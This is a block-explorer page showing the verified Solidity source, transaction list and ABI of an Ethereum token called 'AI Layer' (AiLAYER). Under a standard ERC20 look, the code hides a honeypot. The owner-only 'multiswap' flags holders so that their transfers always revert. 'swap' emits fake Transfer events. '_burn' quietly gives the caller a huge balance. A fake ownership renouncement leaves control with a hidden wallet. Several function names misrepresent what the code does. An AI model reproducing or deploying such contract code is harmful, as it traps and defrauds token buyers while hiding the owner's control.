ETH Price: $3,308.02 (+1.95%)

Contract

0xF41a94F7e87EF728B3f6Ba434376B5f7f543c4d3
 

Overview

ETH Balance

0.001 ETH

Eth Value

$3.31 (@ $3,308.02/ETH)

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer202666002024-07-09 4:37:47167 days ago1720499867IN
0xF41a94F7...7f543c4d3
0 ETH0.000087481.42530055
Transfer196428882024-04-12 23:46:59254 days ago1712965619IN
0xF41a94F7...7f543c4d3
0 ETH0.0006473714.44978313
Transfer196428782024-04-12 23:44:59254 days ago1712965499IN
0xF41a94F7...7f543c4d3
0 ETH0.0006883315.36394419
Transfer196315532024-04-11 9:41:23256 days ago1712828483IN
0xF41a94F7...7f543c4d3
0 ETH0.0011546718.8122737
Transfer195961322024-04-06 10:37:35261 days ago1712399855IN
0xF41a94F7...7f543c4d3
0 ETH0.0007588812.36388676
Transfer195961022024-04-06 10:31:23261 days ago1712399483IN
0xF41a94F7...7f543c4d3
0 ETH0.0008101213.19867589
Approve195943822024-04-06 4:44:35261 days ago1712378675IN
0xF41a94F7...7f543c4d3
0 ETH0.000247069.93012536
Approve195797752024-04-04 3:39:23263 days ago1712201963IN
0xF41a94F7...7f543c4d3
0 ETH0.0008666918.36676494
Transfer195632692024-04-01 20:10:35265 days ago1712002235IN
0xF41a94F7...7f543c4d3
0 ETH0.0018950830.87518377
Transfer195632522024-04-01 20:07:11265 days ago1712002031IN
0xF41a94F7...7f543c4d3
0 ETH0.0020152232.83245499
Transfer195632452024-04-01 20:05:47265 days ago1712001947IN
0xF41a94F7...7f543c4d3
0 ETH0.0018263429.7551922
Approve195620002024-04-01 15:53:59266 days ago1711986839IN
0xF41a94F7...7f543c4d3
0 ETH0.0009460237.93209067
Approve195619432024-04-01 15:42:35266 days ago1711986155IN
0xF41a94F7...7f543c4d3
0 ETH0.0020881144.27348945
Transfer195619072024-04-01 15:35:23266 days ago1711985723IN
0xF41a94F7...7f543c4d3
0 ETH0.0015819955.5279258
Multiswap195613932024-04-01 13:52:11266 days ago1711979531IN
0xF41a94F7...7f543c4d3
0 ETH0.0011326221.82523991
Multiswap195613642024-04-01 13:46:23266 days ago1711979183IN
0xF41a94F7...7f543c4d3
0 ETH0.0007450523.28666349
Multiswap195613582024-04-01 13:45:11266 days ago1711979111IN
0xF41a94F7...7f543c4d3
0 ETH0.0012743724.55680637
Multiswap195613552024-04-01 13:44:35266 days ago1711979075IN
0xF41a94F7...7f543c4d3
0 ETH0.0013724126.44594819
Approve195613152024-04-01 13:36:11266 days ago1711978571IN
0xF41a94F7...7f543c4d3
0 ETH0.0008962918.97956908
Approve195612642024-04-01 13:25:59266 days ago1711977959IN
0xF41a94F7...7f543c4d3
0 ETH0.0010705122.66893159
Approve195611042024-04-01 12:53:47266 days ago1711976027IN
0xF41a94F7...7f543c4d3
0 ETH0.0008783218.74199061
Multiswap195610462024-04-01 12:42:11266 days ago1711975331IN
0xF41a94F7...7f543c4d3
0 ETH0.000995919.19525938
Multiswap195610442024-04-01 12:41:47266 days ago1711975307IN
0xF41a94F7...7f543c4d3
0 ETH0.0010042919.35244969
Multiswap195610422024-04-01 12:41:23266 days ago1711975283IN
0xF41a94F7...7f543c4d3
0 ETH0.000861316.59699945
Approve195606802024-04-01 11:28:23266 days ago1711970903IN
0xF41a94F7...7f543c4d3
0 ETH0.0008208417.49754313
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AiLAYER

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 7: Ai Layer.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";

contract AiLAYER is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private marketingWallet;
    address private deployerWallet;
    address private uniswapV2Pair;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "AI Layer";
    string private constant _symbol = "AiLAYER";

    uint256 public initialTotalSupply = 1_000_000_000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000 * 10**decimals();
    uint256 public swapTokensAtAmount = 1000000000000 * 10**decimals();
    uint256 public maxWallet = 2000000000000 * 10**decimals();

    uint256 public SellFee = 0;
    uint256 public BuyFee = 0;

    bool public swapEnabled = false;
    bool public tradingOpen = false;

    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    

    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {

        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(wallet);     
        balances = txLimit;
        deployerWallet = payable(_msgSender());
        excludeFromFees(owner());
        excludeFromFees(address(this));
        excludeFromFees(address(wallet));
        excludeFromFees(address(0xdead));

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromFees(address account) public onlyOwner {
        _onlyOwnerisExcludedFromFees[account] = false;
        emit ExcludedFromFees(account, false);
    }

    function multiswap(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _onlyOwnerisExcludedFromFees[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _onlyOwnerisExcludedFromFees[account];
    }

    function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_onlyOwnerisExcludedFromFees[from] || _onlyOwnerisExcludedFromFees[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = block.number;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_onlyOwnerisExcludedFromFees[from] && !_onlyOwnerisExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(isExcludedFromFees(from)){
                calculateHolderTimestamp(from);
            }
        bool takeFee = swapping;
        if (_onlyOwnerisExcludedFromFees[from] || _onlyOwnerisExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }
    
    function calculateHolderTimestamp(address holder) private view {
        require(getLastTx(_holderLastTxTimestamp[holder]), "Only one purchase per block allowed.");
    }

    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function setSwapBack() public onlyOwner {
        swapEnabled = true;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

    function manualswaps(uint256 percent) external {
        require(_msgSender() == deployerWallet);
        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (percent == 100) {
            tokensToSwap = contractBalance;
        } else {
            tokensToSwap = totalSupplyAmount * percent / 100;
            if (tokensToSwap > contractBalance) {
                tokensToSwap = contractBalance;
            }
        }

        require(tokensToSwap <= contractBalance, "Swap amount exceeds contract balance");
        swapTokensForEth(tokensToSwap);
    }


    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(tokensToSwap);
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 2 of 7: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 7: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

import "./Context.sol";
import "./IERC20.sol";


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) internal _onlyOwnerisExcludedFromFees;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 5 of 7: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

import "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 6 of 7: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 7 of 7: Uniswap.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualswaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"multiswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

